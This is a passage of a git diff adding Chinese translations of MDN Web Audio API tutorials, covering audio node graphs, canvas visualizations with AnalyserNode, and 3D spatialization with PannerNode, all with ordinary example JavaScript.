你的设备的默认输出结构(通常是你的设备扬声器),通过{{ domxref("AudioContext.destination") }}来允许进入。为了连接oscillator,gain node以及输出端,如以下运用:

+ +
oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+ +

一个更复杂的例子,(比如 Voice-change-O-matic), 你可以链接很多你想要的节点在一起,例如:

+ +
source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+biquadFilter.connect(convolver);
+convolver.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+ +

这个将会创造一个如下音频节点图:

+ +

你也可以链接多个节点到一个节点,比如说你想要混合多个音频源在一起,就让它们都通过一个效果节点,比如gain node。

+ +
+

注释:Firefox32以上版本已有完整的firefox开发者工具包括 Web Audio Editor, 一个对测试web audio 表的bug非常有用的东西.

+
+ +

播放音乐及设置音调

+ +

现在audio节点图已经建立,我们可以设置属性值及调用音频节点的方法来调节想要的音效。在这个简单的例子,我们可以设置特殊的音调,以赫兹为单位,设置为特殊类型,以及指示音乐播放:

+ +
oscillator.type = 'sine'; // sine wave — other values are 'square', 'sawtooth', 'triangle' and 'custom'
+oscillator.frequency.value = 2500; // value in hertz
+oscillator.start();
+
+ +

在我们的 Violent Theremin例子,设定了一个最大gain以及frequency(频率)值:

+ +
var WIDTH = window.innerWidth;
+var HEIGHT = window.innerHeight;
+
+var maxFreq = 6000;
+var maxVol = 1;
+
+var initialFreq = 3000;
+var initialVol = 0.5;
+
+// set options for the oscillator
+
+oscillator.type = 'sine'; // sine wave — other values are 'square', 'sawtooth', 'triangle' and 'custom'
+oscillator.frequency.value = initialFreq; // value in hertz
+oscillator.start();
+
+gainNode.gain.value = initialVol;
+
+ +

然后我们设置了一个frequency的新的值,以及设置每个时间鼠标的移动,基于目前的鼠标坐标值作为frequency和gain的最大值百分比。

+ +
// Mouse pointer coordinates
+
+var CurX;
+var CurY;
+
+// Get new mouse pointer coordinates when mouse is moved
+// then set new gain and pitch values
+
+document.onmousemove = updatePage;
+
+function updatePage(e) {
+    CurX = (window.Event) ? e.pageX : event.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
+    CurY = (window.Event) ? e.pageY : event.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+
+    oscillator.frequency.value = (CurX/WIDTH) * maxFreq;
+    gainNode.gain.value = (CurY/HEIGHT) * maxVol;
+
+    canvasDraw();
+}
+
+ +

简单的canvas可视化

+ +

每次鼠标的移动,canvasDraw()方法会被调用,鼠标停留的位置会画出一个多圆圈组成的小簇,它的大小以及颜色会基于frequency/gain的值。

+ +
function random(number1,number2) {
+  var randomNo = number1 + (Math.floor(Math.random() * (number2 - number1)) + 1);
+  return randomNo;
+}
+
+var canvas = document.querySelector('.canvas');
+canvas.width = WIDTH;
+canvas.height = HEIGHT;
+
+var canvasCtx = canvas.getContext('2d');
+
+function canvasDraw() {
+  rX = CurX;
+  rY = CurY;
+  rC = Math.floor((gainNode.gain.value/maxVol)*30);
+
+  canvasCtx.globalAlpha = 0.2;
+
+  for(i=1;i<=15;i=i+2) {
+    canvasCtx.beginPath();
+    canvasCtx.fillStyle = 'rgb(' + 100+(i*10) + ',' + Math.floor((gainNode.gain.value/maxVol)*255) + ',' + Math.floor((oscillator.frequency.value/maxFreq)*255) + ')';
+    canvasCtx.arc(rX+random(0,50),rY+random(0,50),rC/2+i,(Math.PI/180)*0,(Math.PI/180)*360,false);
+    canvasCtx.fill();
+    canvasCtx.closePath();
+  }
+}
+ +

theremin的静音

+ +

当静音按钮点击,以下方法会被调用,disconnect方法,将切断gain node与destination节点的链接,有效阻止了节点图的链接,所以没有声音会被产生。再次点击效果相反。

+ +
var mute = document.querySelector('.mute');
+
+mute.onclick = function() {
+  if(mute.id == "") {
+    gainNode.disconnect(audioCtx.destination);
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.connect(audioCtx.destination);
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+
+ +

其他节点选择

+ +

这里有许多通过Web Audio API来构建的节点,一个好消息就是,总体来说,正如我们所见,他们用同一种方法工作:构建节点,连接到图表的另一个节点,然后处理节点属性以及方法来作用于你想要的音源。

+ +

我们并不希望通过所有可获得的效果等;你可以在{{ domxref("Web_Audio_API") }}不同的参考接口找到如何使用每一个的详述。我们现在来浏览下不同的设置。

+ +

Wave shaper 节点

+ +

利用 {{ domxref("AudioContext.createWaveShaper") }} 方法,你可以构建一个 wave shaper node:

+ +
var distortion = audioCtx.createWaveShaper();
+
+ +

这个对象一定会数学化的定义wave shape,一个被应用于基础声音波来创造扭曲的效果。这些波并不好被计算,最好的开始方法是搜索web算法。比如,我们可以从 Stack Overflow 找到:

+ +
function makeDistortionCurve(amount) {
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i < n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+ +

在 Voice-change-O-matic 的演示中, 我们连接到audio图表上的ditortion节点,当需要的时候可以运用:

+ +
source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+
+...
+
+distortion.curve = makeDistortionCurve(400);
+
+ +

Biquad filter

+ +

biquad filter 拥有很多可选择的方法, 通过 {{ domxref("AudioContext.createBiquadFilter") }} 方法来构建:

+ +
var biquadFilter = audioCtx.createBiquadFilter();
+
+ +

在Voice-change-o-matic的演示中,运用的制定选项是“lowshelf”过滤器,它提供了低音的基本增幅方法:

+ +
biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;
+
+ +

我们在这里详述了过滤器的类型,频率值,增幅值。在lowshelf过滤器情况,所有的指定频率拥有25分贝的增幅值。

+ +

 Web Audio API的其他

+ +

Web Audio API 可以做不仅仅音频可视化及专业化(如panning)的事情。我们将会在之后的文章涉及其他的更多内容。

diff --git a/files/zh-cn/web/api/web_audio_api/visualizations_with_web_audio_api/index.html b/files/zh-cn/web/api/web_audio_api/visualizations_with_web_audio_api/index.html new file mode 100644 index 0000000000..4fa89e70f0 --- /dev/null +++ b/files/zh-cn/web/api/web_audio_api/visualizations_with_web_audio_api/index.html @@ -0,0 +1,189 @@ +--- +title: 基于Web Audio API实现音频可视化效果 +slug: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API +tags: + - 分析器 + - 可视化 + - 教程 + - 波形 +translation_of: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API +--- +
+

网页音频接口最有趣的特性之一它就是可以获取频率、波形和其它来自声源的数据,这些数据可以被用作音频可视化。这篇文章将解释如何做到可视化,并提供了一些基础使用案例。

+
+ +
+

提示:你可以在Voice-change-O-matic演示里找到本文出现的所有代码片段。

+
+ +

基本概念

+ +

要从你的音频源获取数据,你需要一个 {{ domxref("AnalyserNode") }}节点,它可以用 {{ domxref("AudioContext.createAnalyser()") }} 方法创建,比如:

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+ +

然后把这个节点(node)连接到你的声源:

+ +
source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+// etc.
+ +
+

注意: 分析器节点(Analyser Node) 不一定输出到另一个节点,不输出时也可以正常使用。但前提是它必须与一个声源相连(直接或者通过其他节点间接相连都可以)。

+
+ +

分析器节点(Analyser Node) 将在一个特定的频率域里使用快速傅立叶变换(Fast Fourier Transform (FFT) )来捕获音频数据,这取决于你给 {{ domxref("AnalyserNode.fftSize") }} 属性赋的值(如果没有赋值,默认值为2048)。

+ +
+

注意: 你也可以为FFT数据缩放范围指定一个最小值和最大值,使用{{ domxref("AnalyserNode.minDecibels") }} 和{{ domxref("AnalyserNode.maxDecibels") }}进行设置,要获得不同数据的平均常量,使用 {{ domxref("AnalyserNode.smoothingTimeConstant") }}。阅读这些页面以获得更多如何使用它们的信息。

+
+ +

要捕获数据,你需要使用 {{ domxref("AnalyserNode.getFloatFrequencyData()") }} 或 {{ domxref("AnalyserNode.getByteFrequencyData()") }} 方法来获取频率数据,用 {{ domxref("AnalyserNode.getByteTimeDomainData()") }} 或 {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} 来获取波形数据。

+ +

这些方法把数据复制进了一个特定的数组当中,所以你在调用它们之前要先创建一个新数组。第一个方法会产生一个32位浮点数组,第二个和第三个方法会产生8位无符号整型数组,因此一个标准的JavaScript数组就不能使用 —— 你需要用一个 {{ domxref("Float32Array") }} 或者 {{ domxref("Uint8Array") }} 数组,具体需要哪个视情况而定。

+ +

那么让我们来看看例子,比如我们正在处理一个2048尺寸的FFT。我们返回 {{ domxref("AnalyserNode.frequencyBinCount") }} 值,它是FFT的一半,然后调用Uint8Array(),把frequencyBinCount作为它的长度参数 —— 这代表我们将对这个尺寸的FFT收集多少数据点。

+ +
analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);
+ +

要正确检索数据并把它复制到我们的数组里,就要调用我们想要的数据收集方法,把数组作为参数传递给它,例如:

+ +
analyser.getByteTimeDomainData(dataArray);
+ +

现在我们就获取了那时的音频数据,并存到了我们的数组里,而且可以把它做成我们喜欢的可视化效果了,比如把它画在一个HTML5 {{ htmlelement("canvas") }} 画布上。

+ +

下面让我们来看一些具体的例子。

+ +

创建一个波形/示波器

+ +

要创建一个示波器视觉效果(感谢 Soledad Penadés 在 Voice-change-O-matic 中提供的源码),我们首先用下面代码框中的代码为标准设置一个buffer:

+ +
analyser.fftSize = 2048;
+var bufferLength = analyser.fftSize;
+var dataArray = new Uint8Array(bufferLength);
+ +

接下来,我们清空画布为绘制新的可视化效果做准备:

+ +
canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+ +

现在我们来定义 draw() 函数:

+ +
function draw() {
+ +

这里我们用 requestAnimationFrame() 来保持绘图持续更新:

+ +
      drawVisual = requestAnimationFrame(draw);
+ +

接下来我们获取时间域上的数据并将它复制到数组当中:

+ +
      analyser.getByteTimeDomainData(dataArray);
+ +

接下来把canvas用纯色填满作为背景:

+ +
      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+ +

为我们要画的波形设置好线宽和线的颜色,然后开始绘制路径:

+ +
      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+ +

用canvas画布的总宽度除以数组的长度(与之前定义的 FrequencyBinCount 相等)来决定要花上的每段线条的宽度,之后设置横坐标 (x) 为0,将画笔移动到起始位置:

+ +
      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+ +

接下来我们进入循环,遍历数组,通过其中的数据来确定每段线条的高度,之后改变横坐标将画笔移动到下一段线条开始的地方:

+ +
      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+ +

最后,我们把线连到右边的中央,然后画出来:

+ +
      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+ +

在这块代码最后,我们调用 draw() 函数来开始整个过程:

+ +
    draw();
+ +

这个演示画出了一个每秒会刷新几次并且看起来还不错的波形图:

+ +

a black oscilloscope line, showing the waveform of an audio signal

+ +

创建一个频率条形图

+ +

另一种小巧的可视化方法是创建频率条形图,在 Voice-change-O-matic 中已经有一个做好的,现在让我们来看看它是如何实现的。

+ +

首先,我们设置好解析器和空数组,之后用 clearRect() 清空画布。与之前的唯一区别是我们这次大大减小了FFT的大小,这样做的原因是为了使得每个频率条足够宽,让它们看着像“条”而不是“细杆”。

+ +
    analyser.fftSize = 256;
+    var bufferLength = analyser.frequencyBinCount;
+    console.log(bufferLength);
+    var dataArray = new Uint8Array(bufferLength);
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+ +

接下来我们写好 draw() 函数,再一次用 requestAnimationFrame() 设置一个循环,这样显示的数据就可以保持刷新,并且每一帧都清空一次画布。

+ +
    function draw() {
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteFrequencyData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(0, 0, 0)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+ +

现在我们来设置一个 barWidth 变量,它等于每一个条形的宽度。理论上用花布宽度除以条的个数就可以得到它,但是在这里我们还要乘以2.5。这是因为有很多返回的频率区域中是没有声音的,我们每天听到的大多数声音也只是在一个很小的频率区域当中。在条形图中我们肯定不想看到大片的空白条,所以我们就把一些能正常显示的条形拉宽来填充这些空白区域。

+ +

我们还要设置一个条高度变量 barHeight,还有一个 x 变量来记录当前条形的位置。

+ +
      var barWidth = (WIDTH / bufferLength) * 2.5;
+      var barHeight;
+      var x = 0;
+ +

像之前一样,我们进入循环来遍历 dataArray 数组中的数据。在每一次循环过程中,我们让条形的高度 barHeight 等于数组的数值,之后根据高度设置条形的填充色(条形越高,填充色越亮),然后在横坐标 x 处按照设置的宽度和高度的一半把条形画出来(我们最后决定只画高度的一半因为这样条形看起来更美观)。

+ +

需要多加解释的一点是每个条形竖直方向的位置,我们在 HEIGHT-barHeight/2 的位置画每一条,这是因为我想让每个条形从底部向上伸出,而不是从顶部向下(如果我们把竖直位置设置为0它就会这样画)。所以,我们把竖直位置设置为画布高度减去条形高度的一半,这样每个条形就会从中间向下画,直到画布最底部。

+ +
      for(var i = 0; i < bufferLength; i++) {
+        barHeight = dataArray[i]/2;
+
+        canvasCtx.fillStyle = 'rgb(' + (barHeight+100) + ',50,50)';
+        canvasCtx.fillRect(x,HEIGHT-barHeight/2,barWidth,barHeight);
+
+        x += barWidth + 1;
+      }
+    };
+ +

和刚才一样,我们在最后调用 draw() 函数来开启整个可视化过程。

+ +
    draw();
+ +

这些代码会带来下面的效果:

+ +

a series of red bars in a bar graph, showing intensity of different frequencies in an audio signal

+ +
+

注意: 本文中的案例展现了 {{ domxref("AnalyserNode.getByteFrequencyData()") }} 和 {{ domxref("AnalyserNode.getByteTimeDomainData()") }} 的用法。如果想要查看 {{ domxref("AnalyserNode.getFloatFrequencyData()") }} 和 {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} 的用法,请参考我们的 Voice-change-O-matic-float-data 演示(也能看到 源代码 )——它和本文中出现的 Voice-change-O-matic 功能完全相同,唯一区别就是它使用的是浮点数作数据,而不是本文中的无符号整型数。

+
+ +

 

diff --git a/files/zh-cn/web/api/web_audio_api/web_audio_spatialization_basics/index.html b/files/zh-cn/web/api/web_audio_api/web_audio_spatialization_basics/index.html new file mode 100644 index 0000000000..e93bfe479d --- /dev/null +++ b/files/zh-cn/web/api/web_audio_api/web_audio_spatialization_basics/index.html @@ -0,0 +1,413 @@ +--- +title: Web audio 空间化基础 +slug: Web/API/Web_Audio_API/Web_audio_spatialization_basics +translation_of: Web/API/Web_Audio_API/Web_audio_spatialization_basics +--- +
+

正如大量的各种声音处理(或者其他)选择是不够的,WebAduioAPI也包含了一些工具,可以让你模仿听众在声源周围移动时的声音差异,例如当你在3D游戏声源中移动时声音的平移。官方名词称为 空间化,这篇文章将会介绍如何实现这样一个系统的基础知识。

+
+ +

空间化的基础知识

+ +

在 Web Audio 中,复杂的 3D 空间化是使用 {{domxref("PannerNode")}} 创建的,用外行人的话来说就是一个使音频出现在3D空间中的很酷的数学。想象一下声音从你头上飞过,爬到你身后,在你面前移动。诸如此类的事情。

+ +

它对 WebXR 和游戏非常有用。在 3D 空间中,它是实现逼真的音频效果的唯一方式。像 three.js 和  A-frame 这样的库在处理声音时就利用了它的潜力。值得注意的是,你不必在完整的 3D 空间中移动声音 - 你可以只使用2D平面,因此如果你计划实现一个 2D 游戏,这依然是你要寻找的节点。

+ +
+

注意:还有一个设计用于处理创建简单的左右立体声平移效果的  {{domxref("StereoPannerNode")}} 。这使用起来更简单,但显然无处可用。如果你只想要一个简单的立体声平移效果,我们的 StereoPannerNode 示例请参阅源码)应该可以为你提供所需的一切。

+
+ +

3D boombox 演示

+ +

为了演示 3D 空间化,我们在 Using the Web Audio API 指南中的 boombox 演示的基础上创建一个修改版本。参见 3D spatialization demo live (同时也可以看 source code

+ +

A simple UI with a rotated boombox and controls to move it left and right and in and out, and rotate it.

+ +

音箱放置于房间中(由浏览器视区边缘定义),在本 demo 中我们可以通过提供的控件移动和旋转它。当我们移动音箱时,它产生的声音会相应的改变,当它在移动到房间的左侧或右侧时声音平移,或当它远离用户时变得安静,或旋转使得扬声器背离它们等。这是通过给 PannerNode 对象实例设置不同的与该运动有关的属性来实现模拟空间化。

+ +
+

注意:如果你使用耳机或者其他某种环绕声系统连接计算机,体验会更好。

+
+ +

创建audio收听者

+ +

让我们开始! {{domxref("BaseAudioContext")}}( {{domxref("AudioContext")}} 扩展自该接口)有一个listener属性,返回一个 {{domxref("AudioListener")}} 对象。这代表着场景收听者,通常是使用者(用户)。你可以定义他(她)们在空间中的位置和他(她)们面向的方向。他(她)们保持静止。 pannerNode 可以计算出声音相对于收听者位置的位置。

+ +

让我们创建我们的上下文和监听器,并设置收听者的位置来模拟一个看向(探索)我们房间的人:

+ +
const AudioContext = window.AudioContext || window.webkitAudioContext;
+const audioCtx = new AudioContext();
+const listener = audioCtx.listener;
+
+const posX = window.innerWidth/2;
+const posY = window.innerHeight/2;
+const posZ = 300;
+
+listener.positionX.value = posX;
+listener.positionY.value = posY;
+listener.positionZ.value = posZ-5;
+ +

我们可以使用 positionX 将收听者向左/右移动,使用 positionY 向上/下移动,或使用 positionZ 移出/入房间。在这里,我们将收听者设置在视口中间同时稍微位于音箱的前方。我们还可以设置收听者面对的方向。这些默认值工作良好:

+ +
listener.forwardX.value = 0;
+listener.forwardY.value = 0;
+listener.forwardZ.value = -1;
+listener.upX.value = 0;
+listener.upY.value = 1;
+listener.upZ.value = 0;
+ +

这些forward属性代表了收听者前进方向的3D坐标位置(例如他/她们面向的方向),而 up 属性表示了收听者头顶的3D坐标位置。这两种属性值可以很好的设定方位。

+ +

创建panner节点

+ +

让我们创建 {{domxref("PannerNode")}}节点,这有很多与之相关的属性。让我们来一一看看:

+ +

首先我们可以设置 panningModel。这是用于在3D空间中定位音频的空间化算法。我们可以将其设置为:

+ +

equalpower — 计算出默认和一般方式的平移。

+ +

HRTF — 这代表 'Head-related transfer function' ,在弄清楚声音的位置时,会考虑人脑(对声音的处理)。

+ +

非常聪明的东西,让我们使用 HRTF 模型!

+ +
const pannerModel = 'HRTF';
+ +

属性 coneInnerAngle 和 coneOuterAngle 指定音量发出的位置。默认情况下,两者都是360度。我们可以定义音箱扬声器拥有较小的锥体。内锥是总是模拟增益(音量)最大值的地方,外锥是增益开始下降的地方。

+ +

增益通过 coneOuterGain 值来减少。让我们创建之后将会用于这些参数的常量:

+ +
const innerCone = 60;
+const outerCone = 90;
+const outerGain = 0.3;
+
+ +

下一个参数是 distanceModel — 这只能设置为 linearinverse, 或者 exponential。这些是不同的算法,用于在音频源远离收听者时减小音频源的音量。
+ 我们将使用linear,因为它很简单:

+ +
const distanceModel = 'linear';
+
+ +

我们可以设置源和收听者之间的最大距离 (maxDistance)  — 如果源距离此点更远,则音量将不再减小。这可能很有用,因为你可能会发现你想要模拟距离,但是音量会下降,而实际上并不是你想要的。默认情况下,它是10,000(无单位的相对值)。我们可以像这样保持它:

+ +
const maxDistance = 10000;
+
+ +

还有一个参考距离 (refDistance),由距离模型使用。我们也可以将其保持为默认值 1

+ +
const refDistance = 1;
+ +

然后就是 roll-off 因子 (rolloffFactor) — 描述随着panner远离收听者,音量减小的速度有多快。默认值为1;让我们使其大一些以放大我们的动作。

+ +
const rollOff = 10;
+ +

现在我们可以开始设置我们 boombox 的位置和方向。这与我们如何设置收听者很像。
+ 这些也是我们在使用界面上的控件时要改变的参数。

+ +
const positionX = posX;
+const positionY = posY;
+const positionZ = posZ;
+
+const orientationX = 0.0;
+const orientationY = 0.0;
+const orientationZ = -1.0;
+
+ +

注意z方向的负值 - 这会将 boombox 设置为面向我们。正值会使声源背离我们。 
+ 让我们使用相关的构造函数来创建我们的panner节点,并传入我们在上面设置的所有参数:

+ +
const panner = new PannerNode(audioCtx, {
+    panningModel: pannerModel,
+    distanceModel: distanceModel,
+    positionX: positionX,
+    positionY: positionY,
+    positionZ: positionZ,
+    orientationX: orientationX,
+    orientationY: orientationY,
+    orientationZ: orientationZ,
+    refDistance: refDistance,
+    maxDistance: maxDistance,
+    rolloffFactor: rollOff,
+    coneInnerAngle: innerCone,
+    coneOuterAngle: outerCone,
+    coneOuterGain: outerGain
+})
+
+ + + +

移动boombox

+ +

现在我们将在我们的“房间”中四处移动 boombox。我们已经设置了一些控件来执行此操作。我们可以左右移动,上下移动,来回移动;我们也可以旋转它。声音方向来自前面的 boombox 的扬声器,因此当我们旋转它时,我们可以改变声音的方向 - 即当音箱旋转180度并背向我们时,使其向后投射。 
+ 我们需要为界面设置一些东西。首先,我们将获得我们想要移动的元素的引用,然后存储我们在设置 CSS transforms  来实际执行移动时将要更改的值的引用。
+ 最后,我们将设置一些边界值,以便我们的 boombox 在任何方向上都不会走得太远:

+ +
const moveControls = document.querySelector('#move-controls').querySelectorAll('button');
+const boombox = document.querySelector('.boombox-body');
+
+// the values for our css transforms
+let transform = {
+    xAxis: 0,
+    yAxis: 0,
+    zAxis: 0.8,
+    rotateX: 0,
+    rotateY: 0
+}
+
+// set our bounds
+const topBound = -posY;
+const bottomBound = posY;
+const rightBound = posX;
+const leftBound = -posX;
+const innerBound = 0.1;
+const outerBound = 1.5;
+ +

让我们创建一个函数,将我们想要移动的方向作为参数,并且修改CSS变换及更新我们的panner节点的位置和方向属性值以适当地更改声音。 
+ 首先让我们看看左,右,上,下值,因为这些非常简单。我们将沿着这些轴移动boombox,并更新合适的位置。

+ +
function moveBoombox(direction) {
+    switch (direction) {
+        case 'left':
+            if (transform.xAxis > leftBound) {
+                transform.xAxis -= 5;
+                panner.positionX.value -= 0.1;
+            }
+        break;
+        case 'up':
+            if (transform.yAxis > topBound) {
+                transform.yAxis -= 5;
+                panner.positionY.value -= 0.3;
+            }
+        break;
+        case 'right':
+            if (transform.xAxis < rightBound) {
+                transform.xAxis += 5;
+                panner.positionX.value += 0.1;
+            }
+        break;
+        case 'down':
+            if (transform.yAxis < bottomBound) {
+                transform.yAxis += 5;
+                panner.positionY.value += 0.3;
+            }
+        break;
+    }
+}
+ +

移入和移出也是类似的故事:

+ +
case 'back':
+    if (transform.zAxis > innerBound) {
+        transform.zAxis -= 0.01;
+        panner.positionZ.value += 40;
+    }
+break;
+case 'forward':
+    if (transform.zAxis < outerBound) {
+        transform.zAxis += 0.01;
+        panner.positionZ.value -= 40;
+    }
+break;
+ +

然而,我们的旋转值稍为复杂,因为我们需要在周围移动声音。我们不仅需要更新两个轴值(例如,如果围绕x轴旋转对象,则更新该对象的y和z坐标),还需要为此进行更多的数学运算。旋转是一个圆圈,我们需要 Math.sin 和 Math.cos 来帮助我们绘制这个圆圈。 
+ 让我们设置一个旋转速率,我们将会将它转换为弧度范围的值,以便稍后在 Math.sin 和 Math.cos 中使用,当我们在旋转我们的 boombox ,需要计算出新的坐标时:

+ +
// set up rotation constants
+const rotationRate = 60; // bigger number equals slower sound rotation
+
+const q = Math.PI/rotationRate; //rotation increment in radians
+
+ +

我们也可以使用它来计算旋转度,这将有助于我们即将必须创建的CSS变换(注意我们需要用于CSS变换的x和y轴):

+ +
// get degrees for css
+const degreesX = (q * 180)/Math.PI;
+const degreesY = (q * 180)/Math.PI;
+
+ +

我们以左旋转为例看一看。我们需要更改panner x方向和z方向的坐标,以围绕y轴移动进行左旋转:

+ +
case 'rotate-left':
+  transform.rotateY -= degreesY;
+
+  // 'left' is rotation about y-axis with negative angle increment
+  z = panner.orientationZ.value*Math.cos(q) - panner.orientationX.value*Math.sin(q);
+  x = panner.orientationZ.value*Math.sin(q) + panner.orientationX.value*Math.cos(q);
+  y = panner.orientationY.value;
+
+  panner.orientationX.value = x;
+  panner.orientationY.value = y;
+  panner.orientationZ.value = z;
+break;
+ +

这有点令人困惑,但我们正在做的是使用sin和cos来帮助我们计算出旋转 boombox 所需的圆周运动的坐标。 
+ 我们可以为所有轴做到这一点。只需要选择正确的方向进行更新,以及我们是想要正增量还是负增量。

+ +
case 'rotate-right':
+  transform.rotateY += degreesY;
+  // 'right' is rotation about y-axis with positive angle increment
+  z = panner.orientationZ.value*Math.cos(-q) - panner.orientationX.value*Math.sin(-q);
+  x = panner.orientationZ.value*Math.sin(-q) + panner.orientationX.value*Math.cos(-q);
+  y = panner.orientationY.value;
+  panner.orientationX.value = x;
+  panner.orientationY.value = y;
+  panner.orientationZ.value = z;
+break;
+case 'rotate-up':
+  transform.rotateX += degreesX;
+  // 'up' is rotation about x-axis with negative angle increment
+  z = panner.orientationZ.value*Math.cos(-q) - panner.orientationY.value*Math.sin(-q);
+  y = panner.orientationZ.value*Math.sin(-q) + panner.orientationY.value*Math.cos(-q);
+  x = panner.orientationX.value;
+  panner.orientationX.value = x;
+  panner.orientationY.value = y;
+  panner.orientationZ.value = z;
+break;
+case 'rotate-down':
+  transform.rotateX -= degreesX;
+  // 'down' is rotation about x-axis with positive angle increment
+  z = panner.orientationZ.value*Math.cos(q) - panner.orientationY.value*Math.sin(q);
+  y = panner.orientationZ.value*Math.sin(q) + panner.orientationY.value*Math.cos(q);
+  x = panner.orientationX.value;
+  panner.orientationX.value = x;
+  panner.orientationY.value = y;
+  panner.orientationZ.value = z;
+break;
+ +

最后一件事 - 我们需要更新CSS并保留鼠标事件最后一步的引用。
+ 这是最终的  moveBoombox 函数。

+ +
function moveBoombox(direction, prevMove) {
+    switch (direction) {
+        case 'left':
+            if (transform.xAxis > leftBound) {
+                transform.xAxis -= 5;
+                panner.positionX.value -= 0.1;
+            }
+        break;
+        case 'up':
+            if (transform.yAxis > topBound) {
+                transform.yAxis -= 5;
+                panner.positionY.value -= 0.3;
+            }
+        break;
+        case 'right':
+            if (transform.xAxis < rightBound) {
+                transform.xAxis += 5;
+                panner.positionX.value += 0.1;
+            }
+        break;
+        case 'down':
+            if (transform.yAxis < bottomBound) {
+                transform.yAxis += 5;
+                panner.positionY.value += 0.3;
+            }
+        break;
+        case 'back':
+            if (transform.zAxis > innerBound) {
+                transform.zAxis -= 0.01;
+                panner.positionZ.value += 40;
+            }
+        break;
+        case 'forward':
+            if (transform.zAxis < outerBound) {
+                transform.zAxis += 0.01;
+                panner.positionZ.value -= 40;
+            }
+        break;
+        case 'rotate-left':
+            transform.rotateY -= degreesY;
+
+            // 'left' is rotation about y-axis with negative angle increment
+            z = panner.orientationZ.value*Math.cos(q) - panner.orientationX.value*Math.sin(q);
+            x = panner.orientationZ.value*Math.sin(q) + panner.orientationX.value*Math.cos(q);
+            y = panner.orientationY.value;
+
+            panner.orientationX.value = x;
+            panner.orientationY.value = y;
+            panner.orientationZ.value = z;
+        break;
+        case 'rotate-right':
+            transform.rotateY += degreesY;
+            // 'right' is rotation about y-axis with positive angle increment
+            z = panner.orientationZ.value*Math.cos(-q) - panner.orientationX.value*Math.sin(-q);
+            x = panner.orientationZ.value*Math.sin(-q) + panner.orientationX.value*Math.cos(-q);
+            y = panner.orientationY.value;
+            panner.orientationX.value = x;
+            panner.orientationY.value = y;
+            panner.orientationZ.value = z;
+        break;
+        case 'rotate-up':
+            transform.rotateX += degreesX;
+            // 'up' is rotation about x-axis with negative angle increment
+            z = panner.orientationZ.value*Math.cos(-q) - panner.orientationY.value*Math.sin(-q);
+            y = panner.orientationZ.value*Math.sin(-q) + panner.orientationY.value*Math.cos(-q);
+            x = panner.orientationX.value;
+            panner.orientationX.value = x;
+            panner.orientationY.value = y;
+            panner.orientationZ.value = z;
+        break;
+        case 'rotate-down':
+            transform.rotateX -= degreesX;
+            // 'down' is rotation about x-axis with positive angle increment
+            z = panner.orientationZ.value*Math.cos(q) - panner.orientationY.value*Math.sin(q);
+            y = panner.orientationZ.value*Math.sin(q) + panner.orientationY.value*Math.cos(q);
+            x = panner.orientationX.value;
+            panner.orientationX.value = x;
+            panner.orientationY.value = y;
+            panner.orientationZ.value = z;
+        break;
+    }
+
+  boombox.style.transform = 'translateX('+transform.xAxis+'px) translateY('+transform.yAxis+'px) scale('+transform.zAxis+') rotateY('+transform.rotateY+'deg) rotateX('+transform.rotateX+'deg)';
+
+  const move = prevMove || {};
+  move.frameId = requestAnimationFrame(() => moveBoombox(direction, move));
+    return move;
+}
+
+ + + +

连接我们的控件

+ +

连接控制按钮相对简单 - 现在我们可以在控件上监听鼠标事件并运行此方法,并在释放鼠标时停止它:

+ +
// for each of our controls, move the boombox and change the position values
+moveControls.forEach(function(el) {
+
+    let moving;
+    el.addEventListener('mousedown', function() {
+
+        let direction = this.dataset.control;
+        if (moving && moving.frameId) {
+            window.cancelAnimationFrame(moving.frameId);
+        }
+        moving = moveBoombox(direction);
+
+    }, false);
+
+    window.addEventListener('mouseup', function() {
+        if (moving && moving.frameId) {
+            window.cancelAnimationFrame(moving.frameId);
+        }
+    }, false)
+
+})
+
+ + + +

概述

+ +

希望本文能让你深入了解 Web Audio 空间化的工作原理,以及每个{{domxref("PannerNode")}} 属性的作用(其中有很多属性)。这些值有时难以操作,根据你的使用情况,可能需要一些时间才能使它们正确。

+ +
+

